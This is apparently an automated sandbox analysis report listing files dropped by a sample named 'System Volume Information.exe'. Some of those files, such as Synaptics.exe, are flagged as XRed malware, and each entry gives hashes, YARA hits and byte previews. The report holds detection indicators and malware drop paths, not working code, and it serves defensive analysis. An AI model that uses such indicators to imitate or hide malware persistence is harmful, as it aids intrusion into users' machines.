SHA-512:	9F739AC23998377CBB0F7D5B1AD51E990B56519150742009FD9CF4DA3D8C4E6E8FA33B62B3FBC72ABA2A15A69011F7890678F1D5AC014A24E030B841209AFE8C
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.3.1.6.6.7.2.8.6.8.6.1.4.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.3.1.6.6.7.6.6.6.5.4.9.3.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.c.b.4.f.7.4.f.-.5.9.0.6.-.4.0.5.9.-.9.b.5.a.-.a.a.0.5.5.5.b.5.e.b.6.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.c.b.4.9.6.2.f.-.f.c.8.d.-.4.1.3.e.-.a.0.e.7.-.9.9.8.0.9.f.2.0.6.2.f.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.1.b.0.-.0.0.0.1.-.0.0.1.4.-.e.3.2.2.-.0.b.c.f.c.b.2.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.b.2.4.2.c.4.0.e.5.7.8.d.b.5.9.6.e.7.2.a.4.f.3.e.1.f.c.9.6.7.2.5.3.7.b.3.b.f.9.e.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4213.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Nov 5 21:44:33 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	2743784
Entropy (8bit):	2.3060565095976395
Encrypted:	false
SSDEEP:	6144:uHNtdrSsN16lVIRJO5c/rejaLVXJL+8OxsgSdcPmZ94urO6Jrc/4yr+Y+nkpInUk:uHPdGsylVcq+b70eh2tr+Y+nknV6L
MD5:	5F07F8E1EEEB2D2F599B28459B76C5F7
SHA1:	ACEFEFD0955FFB4CF1426B45AD2075418BA2E57D
SHA-256:	B1A89FE0D1CD5A61C0771D27B603D4D31855D42A615199B3CA93DB0CA478B803
SHA-512:	42FA8A99E78CC44694D1349BCEE02ED5F6922E94269A3BA45AF680C2B99F6584C1166D6E6BE092B254DCC08D0E9AAC1667A1F5AAD746567FAE29B8C07C47093A
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........g............T:..............hA......$....a......$..."...........`.......8...........T...........X\....(.........4a.......... c..............................................................................eJ.......c......GenuineIntel............T.............g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER503D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	3.718926961239995
Encrypted:	false
SSDEEP:	192:R6l7wVeJAxW6ZFEeYiS81prI89blqsflFP3m:R6lXJl6Z/Y0NlJflg
MD5:	7C70CFF70D5CEDB821C2C7BD094C0D1C
SHA1:	7DE1D120D970C501C94417AFAFEA34627ABC3FFF
SHA-256:	945286D955EFAE877FE16429B86A01A3D8C05789C54C0DCEEF93250BC7F7F8D2
SHA-512:	50C335CC7E901334C2B947B6D53508B1204C9EF0008BE7E31F14EDE630E6F1A2E3D31A31E10465C82EDB63F79AF160730BE5469EF0D3BC7EF267F7A4F532C920
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.3.2.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER506C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.447664764744153
Encrypted:	false
SSDEEP:	48:cvIwWl8zs9Jg77aI9HEWpW8VYAPYm8M4JFEFmQo+q84+rwZfd:uIjfXI7Nd7VNSJtMrwZfd
MD5:	D1C189C348FEBA071F835FCFD508F4F1
SHA1:	467A485DE85E067AFE2B44E79B74130582CC954E
SHA-256:	C0B4AB73586FC0A2CE576B065078D7F73558D9153D94CFF9CC140A8A00D8016B
SHA-512:	1A1978574DD7BEFDD2715E158387A906DEB13E9D717C73CF51C1D7FECCBCF8F4A1AC7421AA9B87C9F4A371801E8CD47BB996B2044293EE4ADDB9A7D52AA90ACE
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="575327" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Synaptics\RCXA824.tmp

Download File

Process:	C:\Users\user\Desktop\System Volume Information.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	771584
Entropy (8bit):	6.635606234724963
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IDr:ansJ39LyjbJkQFMhmC+6GD9o
MD5:	D5253FADDD20B28A13F254B6A5E8F504
SHA1:	B242C40E578DB596E72A4F3E1FC9672537B3BF9E
SHA-256:	040DA0DBF660F2D194212643FB8C72B60ECDBE364C2F02F061B3D4C31EA45313
SHA-512:	15140CACAC3B1493F30B565EE4EB774FFB4A9DCD2388AA208D3A58CAC25F8E3CF09BD8A573B1E7A574E2BF09B4A2A8616DD8F7977BA40E2237B9C9AB9492E6BA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCXA824.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCXA824.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\System Volume Information.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	842752
Entropy (8bit):	6.578623753298564
Encrypted:	false
SSDEEP:	12288:ZMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9xEBpij:ZnsJ39LyjbJkQFMhmC+6GD92e
MD5:	C2CDAE15750E17383EC3B4225BF32A9F
SHA1:	E743955BA3D7C6EDAF4DAE0400B990B271839EB7
SHA-256:	68D41D21C16BAE85F9A857511A5A1B3CCC28ADC3721B82B17262E0E64F5A53F2
SHA-512:	8EF7AA545DEB4E7A106B4E92744319522021AA8992A801E3330D5A0BBDEFAFB11571A3594DD38670916EDA44387DFDBB208F9977A587E12EF3B5F38B4EBBDD51
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................<....................@..........................@...................@..............................B......03...................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...03.......4..................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\System Volume Information.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\2YtUEW6.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264897016860026
Encrypted:	false
SSDEEP:	24:GgsF+0VSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+G+pAZewRDK4mW
MD5:	6AEE0FB918B28D89FD0BE9512FBD4A26
SHA1:	25EC097AA5BB2CB9D7A3BCF75B5D41A37D03AE0E
SHA-256:	1E4D30A022DC90F255B6B3E3443EE12255AB02C6C84FDDD7E8D81C29523D98B9
SHA-512:	948DE4DE292F2B603B390D96633200F9F92ECE7EDE92857633ACDFBDCA74FDAF3902B1CAEEDE4AEBB9FEF67348F207A889490B406A163E7140F6C726E4A3BAEA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9AUo2jaLE2SCyjdDxnM9nA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5RLVsmp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260234707070143
Encrypted:	false
SSDEEP:	24:GgsF+06rESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+O+pAZewRDK4mW
MD5:	A1149B7A061E2723074EFB4AAE2B731A
SHA1:	355A3234DB12E848C0E80A691DD9B93322C5B9B9
SHA-256:	F0C3B42BFE9B751475B8000798E3FB3577BA1F73828F433CB64693D3E0FC3453
SHA-512:	08A73CA66B7C844CB21BA8054C26BB6A9F6D0D9BB9F9182A9DD7258CC57346ABEB71126E722A7542A8C96CF22865F449FA7C7D142B85D0C2B1759D36EEAC3274
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="yseFIrhPu8i2YSK-4eDmEA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\6QEBhy2.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2712453072417516
Encrypted:	false
SSDEEP:	24:GgsF+0ewSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+K+pAZewRDK4mW
MD5:	77F62BD617725A919648DF445B94F475
SHA1:	86EBB9821380E571A1F77C7CFFA33519C08D4F0F
SHA-256:	5FE3FA3FD3D521DD7D690E99D8B415439A829F5565F75B97F8DFBB3DB22FFF7D
SHA-512:	7D72AA73FB0891E1E53770786888EB6692DE3C8454CD7D181DF31E6D0649444E9B1A3EA04DEF974D8752FF6CF22667A356D83B7F1F1D56EE250F071C7CC72566
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9z9c2FjYsSFzJ76U4-NRTw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\7Qs3fpS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2667865326402605
Encrypted:	false
SSDEEP:	24:GgsF+003KUDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+NKM+pAZewRDK4mW
MD5:	9BB77C2BBA587D27CCFAD0AC347FF1B3
SHA1:	F01B0D7B780BA419FA93448772A860984400CB6C
SHA-256:	E1620FD7D9B9644FC79E8736B45C5C797E829BA910E79D93695BB3B594BBC3B8
SHA-512:	5DD246FF578F78834C31DB223BB499FC525FB94B52126A89BEDB9FD0914DEF0379CE570B8877AD6305AC146EE20BDED93F85C599B26233F33623923F3E21D7B5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="4IT8vQRfcvLziz0zVYlVCw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8VakQKi.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264122533937543
Encrypted:	false
SSDEEP:	24:GgsF+0XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+8+pAZewRDK4mW
MD5:	2F42F906E3473F8550BEE4C563E6C2A7
SHA1:	FFD56E0E47DA58D1944453A9251F9782EDC9E574
SHA-256:	757185544E57F9D94EC2AFBB0FDF7C87BD12F6440AD1ACF0A0803AFF7D587203
SHA-512:	DE44DF82246E8CC28A30E8BBA8042D41731615D7CA626EC584A38B3A7F484467C50748E4C5CE0DFBD18CE484A663E7F683186D0000E55033CD540E94CC1B23B7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="X56LLV_is_WB5NIu-cxkmA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\C4iq7ZH.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269357522089246
Encrypted:	false
SSDEEP:	24:GgsF+0cq3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+N4+pAZewRDK4mW
MD5:	562BAFE7E153187DCDDA9C46DAF5AFD8
SHA1:	22A762A5645D78E17B9FEE9E884C9576507AE41B
SHA-256:	ED9E63AB0325BE8FBD05F3AFBDF5463EA252089970608A8E3A2B0B866C134324
SHA-512:	A54BD606E7C3C24DBD3AD5129B8DFABBD2ECFE359C0730C50EC5D2D5779EF4D25291190592B481707345EF9F066DF3B124463888B0A0212CAC72AF28070E8741
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="qO1f2FaG-sWQWYgdO4MBGA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\EPoijwz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262599889898819
Encrypted:	false
SSDEEP:	24:GgsF+0cL+SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+i+pAZewRDK4mW
MD5:	9474B4D4FAEF2C15352B44A65AA21584
SHA1:	F22D0A30977C3D14DC44919BD2437F035A5A9289
SHA-256:	A4E3BEA21BAC2C5CFD067A8C22260BCC7651164D391E03EE97AF3FF117A7A372
SHA-512:	276F1398BA02483200669BC7D578E5BD9F1B7C4B09F877CA7BC1C7E4046A060ED7C306CB2EF57CADB1F921BA15F11B1869C5055378FDBA4D7AC0FC5E982E8CCA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="viXCucTzMJn2A1PgN0ScmA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\FYZBlGf.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266255028915803
Encrypted:	false
SSDEEP:	24:GgsF+0+KSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+k+pAZewRDK4mW
MD5:	91C3A27A637906D9E25D4921EF6F8F48
SHA1:	636292547EC5B47BCF3AA31A680FC4828840E636
SHA-256:	0E3F2D0ACC8F45DA5226202B52744D9EA57B45CDC2654DF0237D00172EBD8590
SHA-512:	17E36F05D07D2D7F12C2756E739CC35C165D037A9DC5E81800190A42594DEA4FAC60A98D53C3DFA2746EA54FAC04572403810EA05C261EBCABB07F4E93BAE7ED
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="qGyw1Baz1tK5XLADKk2vsQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\IXikrps.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.276320049357062
Encrypted:	false
SSDEEP:	24:GgsF+0UJSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+bJ+pAZewRDK4mW
MD5:	5DE7C133A1168D630E30C883A2A44EA9
SHA1:	D270759F2A45C3B03C5228BC3DFAEA39CD41BC97
SHA-256:	AF0A40E116F086C827C882C4AA01B1D53A208708BA79E099135C7173EC86951E
SHA-512:	BE4FC9A4E07DADFA2F7FF35B5ACC5FCB99AF1CE51B54EB7E69FE2211B799F4A2D0F4F101BCDF255B3A989D20D0CE962C406DD0A3AA4426BA8B7406E81C8E2697
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="tByvYHICIC_rAPqS_sCEPw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\JEKCdRD.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.249468298275116
Encrypted:	false
SSDEEP:	24:GgsF+0DWeBSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+srB+pAZewRDK4mW
MD5:	3F153F218152D13A4BAA7B619FDF6574
SHA1:	385678188CE1C3FD69BFB5A896FED0506D2B3BF2
SHA-256:	4310D4FE112694F532BD1A376311EDED1C663EDB09D58B1DA56653266EFB766A
SHA-512:	A2D1C4F655E31694E222EF9F6EBFAD513DED6E4DC81D725D658106BD0062CB7CAAF29F554F41FD8184CE2731CAC7DFDAACA6C3B9DB750F42D3AB363617FDF98A
Malicious:	false
